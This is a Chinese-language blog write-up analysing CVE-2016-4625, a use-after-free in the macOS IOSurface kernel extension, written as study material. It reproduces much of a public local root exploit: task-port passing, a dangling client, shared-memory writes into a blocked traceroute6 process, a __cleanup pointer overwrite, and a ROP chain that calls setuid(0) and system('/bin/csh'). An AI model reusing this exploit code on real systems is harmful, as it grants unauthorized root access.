作者:FloatingGuy 转载请注明出处:https://floatingguy.github.io/


(本人第一次接触 OSX 系统,这篇文章对我来说难度还是比较大的,本人水平有限文章难免有错,请路过的大牛多多指点,轻拍)

本文是为分析 yalu102越狱工具做铺垫,这个漏洞并没有在 yalu越狱中被使用,因为这个漏洞是 macOS 中的。
分析本文是为了学习 XNU 中 task 结构体存在的分险并且结合 port 来实现提权的原理。
文中的 exploit 提权代码来自 surfacer00t

预备知识:

  • IOKit 开发基础知识
  • Mach Port 通信基础知识

漏洞分析:

IOSurface是基于 IOKit的一个扩展模块,IOUserClient 的扩展类IOSurfaceRootUserClient 的成员fTask(0xf)引用了用户空间的 task struct 指针,但是没有修改task的引用计数器,由此产生了一个 UAF 漏洞。如果task 对应的进程被杀死,task struct 对象会被回收,IOSurfaceRootUserClient 成员fTask 就变成了一个 悬挂指针。

Apple 在其开发者网站上提供了一份 IOKit 扩展设计样式的示例 AppleSamplePCI。因为示例中存在dangling 指针漏洞,所以 Ian Beer 就去 IOSurface 模块中查找对应的代码,利用 IOSurface 模块中的 dangling 漏洞来执行任意代码。因为这个开发模板中存在漏洞所以会影响 Apple 开发的所有IOKit 子模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//AppleSamplePCI.kext implementation of initWithTask
bool SamplePCIUserClientClassName::initWithTask(
task_t owningTask,
void* securityID,
UInt32 type,
OSDictionary* properties)
{
bool success = super::initWithTask(owningTask,
securityID,
type,
properties);
fTask = owningTask; //bug 悬挂指针
fDriver = NULL;
return success;
}

漏洞利用思想:

exploit-all

此漏洞的提权思想很简单,因为不受沙盒的限制所以还可以用来做沙盒绕过。
exploit的核心就是将 shellcode注入到所有者是root 用户并且拥有 s执行权限的子进程中,这个进程开启的 shell 是root用户的, shellcode可以直接作为子进程的参数传递到栈上。

shellcode 本身很简单,重点在第3-4步将子进程的执行权限窃取到 shellcode 上,并且要精准计算栈的偏移量。
其他还有一下技巧性的东西,比如第2步如何控制子进程让其在退出前阻塞、如何将子进程的 task port 发送到父进程中。
(下文可能会出现上面流程图中的编号,请根据上下文识别)

分析 exploit

这里会分成2部分:

  1. 准备阶段,负责提供一个触发漏洞的环境和执行负载的环境。
  2. 攻击阶段,分析如何使用漏洞来达到劫持控制流、任意地址写以及 shellcode 的功能。

准备阶段

将parent 的port 传递给child, 然后让child 将其task port 传递给 parent的步骤:

  1. 父进程通过task_get_special_port获取他的special ports,并存储在局部变量中。special ports是一些连接着系统服务的port,在fork的过程中,子进程会继承special port。
  2. 父进程通过mach_port_allocate函数创建一个新的port,通过task_set_special_port将这个新的port设为special port,且通过mach_port_insert_right为这个新的port赋予写的权限。并最终试图将这个新的port传递给子进程。
  3. 父进程进行fork,子进程继承了2中创建的新的port,作为自己的special port。
  4. 父进程将保存的在临时变量中的special port,重新设置回来。
  5. 子进程获取这个替换过的special port,并且保存下来。
  6. 子进程通过继承的special port和父进程通信。
  7. 父进程在收到子进程的消息后,将当前的special port再发送给子进程。
  8. 子进程也将收到的special port设置为自己的special port。
  9. 子进程将自己的 task port 发送给父进程

对应的流程图:
port-dance

port dancer主要的目的是将子进程的 task port传递给父进程,父进程可以使用子进程的 task port创建 IOSurface 的 userclient 对象。

攻击阶段

上一节我们已经获取 子进程的 task port, 那么现在就可以 将子进程的 task port 传递给 IOSurface 制造一个悬挂指针,接下来可以重新开启一个子进程 运行tracerout6来偷梁换柱了,然后想办法获取写子进程内存的权限,通过覆盖子进程的函数指针__cleanup获取控制流执行 shellcode。

按照执行顺序将攻击流程分成2部分:

1. 覆盖子进程__cleanup函数指针
2. 执行 shellcode。
  1. 覆盖子进程__cleanup 函数指针
    要 overwrite 首先要任意地址写。IOSurface 框架可以做到这一点,看雪翻译的一篇文章中介绍,IOSurface框架提供了适用于跨进程共享的框架缓冲对象,IOSurfaces仅仅用来包裹共享内存缓冲区。

    • IOSurfaceRootUserClient::create_surface() 接受一个键值对作为参数来创建共享内存对象,其他进程可以把这个对象映射到它们自己的地址空间中。
      参数:
      IOSurfaceAddress -> target_addr
      IOSurfaceAllocSize -> 0x1000
      IOSurfacesGlobal->True 允许其他 ioSurface 访问 当前 iosurface 对象。

    • IOSurfaceRootUserClient::lookup_surface()将目标进程的内存共享对象,映射到当前进程。

使用上面的代码, 可以将目标进程 的 iosurface 创建的共享内存 地址 target-addr 开始的0x1000 大小的内存

我们要 root 就需要在 获取共享内存对象之前,将 fTask 指向的 task 对象换成一个 更高权限的 进程的 task 结构体。这样我们就可以获取到 包裹高权限的 进程的共享内存对象了。

下面分析 准备阶段的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
io_connect_t dangler = get_uc(child_task_port); [0] 使用 child task 创建一个 iosurface 对象,返回 iosurface 对象的 port
printf("got dangler\n");
mach_port_deallocate(mach_task_self(), child_task_port); [1] 杀死子进程
kill(child_pid, 9);
...
int target_pid = 0;
int blocker = fork_and_exec_blocking("/usr/sbin/traceroute6", argv, NULL, &target_pid); [2] 创建一个高权限的进程,替换 fTask 对象
// 构造create_surface 的参数 dictionary
CFMutableDictionaryRef surface_props = CFDictionaryCreateMutable(kCFAllocatorDefault,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
uint64_t target_addr = fptr_page;
uint32_t target_size = 0x1000;
// 向 dictionary 中添加 目标进程的共享内存其实地址 + 共享内存大小
CFDictionarySetValue(surface_props, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &target_addr));
CFDictionarySetValue(surface_props, CFSTR("IOSurfaceAllocSize"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &target_size));
CFDictionarySetValue(surface_props, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
CFDataRef props_data = IOCFSerialize(surface_props, kNilOptions);
void* inputStruct = (void*)CFDataGetBytePtr(props_data);
size_t inputStructCnt = (size_t)CFDataGetLength(props_data);
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[0x548];
size_t outputStructCnt = 0x548;
// create_surface
int selector = 0;
err = IOConnectCallMethod( [3] 调用 create_surface 函数,在目标进程中创建 共享内存对象
dangler,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
说明: 在这提一下iokit 扩展通信都是通过 selector 来代替函数名。
int target_surface_id = *(int*)(&outputStruct[0x10]);
io_connect_t surface = get_uc(mach_task_self()); [4] 使用 parent task 创建一个 iosurface 对象,返回 iosurface 对象的 port
inputStruct = NULL;
inputStructCnt = 0;
inputScalar[0] = target_surface_id;
inputScalarCnt = 1;
outputStructCnt = 0x548;
// lookup_surface
selector = 6;
err = IOConnectCallMethod( [5] 调用lookup_surface函数, 将目标进程的共享内存映射到 parent 进程
surface,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
char* shared_page = *(char**)(&outputStruct[0]);
shared_page[0] = ‘B’;
*(uint64_t*)(shared_page+fptr_offset) = stack_shift_gadget; [6] 第一段 gadget 地址覆盖 目标进程的__cleanup 函数指针
// 下一节 介绍
unblock_pipe_and_interact(blocker);
int sl;
wait(&sl);

上述 1-6 步就是parent获取child共享内存的原语, 并且覆盖了目标进程的 __cleanup 全局变量。
步骤 2 中还使用了一个技巧3使得child进程能在 exit 之前阻塞,等待parent映射内存设置 shellcode。

总结一下

  1. 让child task 阻塞的原语
    给 traceroute6 一个无效参数traceroute6会使用 strerr 标准错误输出错误信息,但是 parent 使用管道pip_write 替换了标准错误输出,并且管道已经阻塞了所以traceroute6卡在程序中无法调用exit 函数。

    1
    2
    fprintf(stderr, "traceroute6: invalid wait time.\n");
    exit(1);
  2. parent将child task的1页内存映射到自己的内存空间的原语
    上面 提到了细节
    这里 映射的是 libsystem_c.dylib:DATA ,其中包含了 cleanup 函数指针的地址。(这个地址要用 add_gadget 的地址去覆盖, exit 的时候会调用这个函数)

shellcode 分析

创建 shellcode 的代码在 setup_payload_and_offsets 函数中,要覆盖 DATA段的__cleanup 函数指针首先要获取其位置然后查找几段 gadget,执行的数序是:

  • 修改 rsp,跳转到 traceroute6 进程栈的参数区
  • 大量的 ret slide 指令,提高shellcode 的兼容性
  • 执行 setuid(0)的 shellcode
  • 执行 system(“/bin/csh”)的 shellcode

下面继续分析代码。

参数说明:

stack_shift : 第一段 gadget 的地址
fptr_page : 目标进程建立共享内存的起始地址
fptr_offset : __cleanup 相对 fptr_page 的偏移
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
char** setup_payload_and_offsets(uint64_t* stack_shift, uint64_t* fptr_page, uint32_t* fptr_offset) {
// &__cleanup: __DATA 段中 __cleanup 的地址
// __cleanup : 是 libsystem_c.dylib 中对应函数的地址
*fptr_page = (uint64_t)((unsigned long long)(&__cleanup) & ~(0xfffULL)); [0] 代码段内存共享,所以各个进程中__cleanup地址都一样
*fptr_offset = ((uint64_t)(&__cleanup)) - *fptr_page;
//[1] 搜索 ret 指令
uint8_t* ret = (uint8_t*)&strcpy; // the start of libsystem_c
do {
ret += 1;
ret = memmem(ret, 0x1000000, "\xc3", 1); //search 'ret'
} while (ret != NULL && ((count_nulls((uint64_t)ret)) != 2) );
..
//[2]. pop rdi; ret gadget
uint8_t* pop_rdi_ret = memmem(&strcpy, 0x1000000, "\x5f\xc3", 2);
if (pop_rdi_ret == NULL) {
FAIL("couldn't find pop rdi; ret gadget\n");
}
//[3]. /bin/sh string:
void* bin_sh = ((char*)__cleanup)-(1024*1024); // start from 1MB below this symbol in libsystem_c.dylib
bin_sh = memmem(bin_sh, 2*1024*1024, "/bin/csh", 9);
if (bin_sh == NULL) {
printf("couldn't find /bin/sh string\n");
return NULL;
}
//[4]. 搜索 修改 rsp 的 gadget
uint8_t* stack_shift_gadget = memmem(&realpath, 0x4000, "\x48\x81\xc4", 3);
if (stack_shift == NULL) {
printf("couldn't find stack shift\n");
return NULL;
}
// libsystem_c.dylib`realpath$DARWIN_EXTSN:
// 0x7fffa333ab47 <+1908>: addq $0x1d98, %rsp ; imm = 0x1D98
// 0x7fffa333ab4e <+1915>: popq %rbx
// 0x7fffa333ab4f <+1916>: popq %r12
// 0x7fffa333ab51 <+1918>: popq %r13
// 0x7fffa333ab53 <+1920>: popq %r14
// 0x7fffa333ab55 <+1922>: popq %r15
// 0x7fffa333ab57 <+1924>: popq %rbp
// 0x7fffa333ab58 <+1925>: retq
//获取 add rsp 的立即数
uint32_t realpath_shift_amount = *(uint32_t*)(stack_shift_gadget+3); //0x1d98
// 这里预测 traceroute6 的栈大小
uint32_t traceroute6_stack_size = 0x948;
if (realpath_shift_amount - 0x200 < traceroute6_stack_size) {
//add rsp, xxx 这个值不够大,无法跳转到 argv 区
printf("that stack shift gadget probably isn't big enough...\n");
return NULL;
}
*stack_shift = (uint64_t)stack_shift_gadget;
int ret_slide_length = ((realpath_shift_amount - traceroute6_stack_size) / 8 / 5) * 2;
char* progname = "/usr/sbi" //8
"n/tracer" //8
"oute6"; //6
char* optname = "-w"; //3
char* optval = "LOLLLL"; //7
// 这里 『+6』 是因为 ret slide 后面 还有 pop_rdi_ret 到&system 6条指令。
size_t target_argv_rop_size = (ret_slide_length + 6)* 8; // ret slides plus slots for the actual rop
uint8_t** args_u64 = malloc(target_argv_rop_size + 1); // plus extra NULL byte at the end
char* args = (char*)args_u64;
memset(args, 0, target_argv_rop_size + 1);
// ret-slide 写入堆中
int i;
for (i = 0; i < ret_slide_length; i++) {
args_u64[i] = ret;
}
0】 提权的 shellcode
args_u64[i] = pop_rdi_ret;
args_u64[i+1] = 0;
args_u64[i+2] = (uint8_t*)&setuid;
args_u64[i+3] = pop_rdi_ret;
args_u64[i+4] = bin_sh;
args_u64[i+5] = (uint8_t*)&system;
// allocate worst-case size
// malloc 足够大的空间来保存 shellcode
size_t argv_allocation_size = (ret_slide_length+100)*8*8;
char** target_argv = malloc(argv_allocation_size);
memset(target_argv, 0, argv_allocation_size);
// 【1】 设置启动参数 /usr/sbin/traceroute6 -w LOLLLL
target_argv[0] = progname;
target_argv[1] = optname;
target_argv[2] = optval;
int argn = 3;
//【2】将 ret 数组的地址写入到 argv 中
target_argv[argn++] = &args[0];
for(int i = 1; i < target_argv_rop_size; i++) {
if (args[i-1] == 0) {
target_argv[argn++] = &args[i];
}
}
target_argv[argn] = NULL;
return target_argv;

【1】设置 traceroute6 的错误参数
【1】处的参数执行完以后给 parent 足够的时间来将 目标进程中 DATA段中__cleanup 函数指针覆盖为 一段gadget 的地址(此时shellcode 的地址还不能确定), 就是步骤4中找到的 gadget 的地址。

1
2
3
4
5
6
7
8
// 0x7fffa333ab47 <+1908>: addq $0x1d98, %rsp
// 0x7fffa333ab4e <+1915>: popq %rbx
// 0x7fffa333ab4f <+1916>: popq %r12
// 0x7fffa333ab51 <+1918>: popq %r13
// 0x7fffa333ab53 <+1920>: popq %r14
// 0x7fffa333ab55 <+1922>: popq %r15
// 0x7fffa333ab57 <+1924>: popq %rbp
// 0x7fffa333ab58 <+1925>: retq

这里 作者预测了tracerouter6 的栈帧长度是 0x948,

【2】处将 ret slide 拷贝到 argv s 参数列表。
在调试的过程中发现 x86-64位机器系统库加载的地址从0x00007fff000000000开始偏移小余4G,所以所有 gadget 指令地址都包含2个NULL字节,因为argvs 默认以 NULL 字符结尾所以第二个 NULL 会被认为没有参数了,这样就无法在栈上喷射大量的 ret指令。这里通过使用2个参数指针来指向一个 ret 地址的方法来解决这个问题。

1
2
3
4
5
6
target_argv[argn++] = &args[0];
for(int i = 1; i < target_argv_rop_size; i++) {
if (args[i-1] == 0) {
target_argv[argn++] = &args[i];
}
}

这段代码实现了将 shellcode 内存地址 传递给 argv 指针,同时为了防止出现连续2个 null 字节的情况,将2个连续的 null字节(第二个)保存到了2个 argv 指针中。
说明:这段实现要提前检查 ret 地址中 null 字节的个数,null 字节不能超过2个否则 ret地址会被截断。

1
2
3
4
5
6
7
8
9
10
int count_nulls(uint64_t val) {
int nulls = 0;
uint8_t* bytes = (uint8_t*)&val;
for (int i = 0; i < 8; i++){
if (bytes[i] == 0) {
nulls++;
}
}
return nulls;
}

【0】这里是提权的 shellcode, 先将自生uid 设置成 root 用户,然后开启一个终端这个终端默认是 root 用户并且不能自动降低权限。

1
2
3
4
5
6
7
setuid(0); //将当前进程设置为 root
pop rdi ; 参数 为0
ret ; setuid
system(“/bin/csh”);
pop rdi ; 参数 为’/bin/csh’
ret ; system

最后来张图看下内存布局
gadget_shellcode

漏洞补丁:

OS X El Capitan v10.11.6 and Security Update 2016-004

结尾:

本文还有一些内容没有介绍,其中一些我也不清楚有些只知道皮毛。列举几个问题和待完善的地方:

  • IOSurfaceRootUserClient 创建共享内存原语的2个函数,应该逆向分析下原理帮助定位 shellcode,同时 port IPC通信也需要分析。
  • 代码中计算ret_slide_length 时候为什么要除5?
  • 分析完整个 exploit 再回看漏洞本身,感觉提权的部分和漏洞的关系貌似不大;如果我在第一个创建的子进程中启动 traceroute6(先进行 port dancer 传递 child task port),是否父进程也可以共享 tracerouter6的内存空间,如果可以后面的工作就是一样的了应该也可以提权。 这个想法有待尝试,但是失败的可能性是80% 猜测可能有权限的限制(比如系统检测到 tracerrouter6是 root用户的进程不允许普通用户共享内存)。
  • 还有就是资料中用 IDA反编译 IOSurface.text 时怎么获取的结构体信息,这个模块是没有源代码的,有什么逆向的技巧吗?

CVE-2016-4625 的前途:

由于除了root以外,这个bug也允许我们获得其他任何权限,所以很容易利用它来绕过OS X上的内核代码签名,并加载一个未签名的内核扩展4

补上一张图(本应该手绘的,但是手太笨)

surfacer00t

Todo

继续深入学习以下几点的 源代码:

  • mach port
  • IOKit 驱动框架代码 && 开发 (IOSurfaceRoot 案例)
  • IOSurfaceRoot 建立内存映射,最后返回的地址所指内存是哪里?
    下一篇文章《深入学习 CVE-2016-4625》

测试

测试机:Mac Mini
系统版本:OS X EI capitan 10.11.2

test

ChangeLog

Time Change
2017-03-06 debug exp
2017-03-07 write blogs

参考资料

译文
原文
CVE-2016-1757的Exploit — Patching kextload
再看CVE-2016-1757浅析mach%20message的使用
调试 CVE-2016-4625 exploit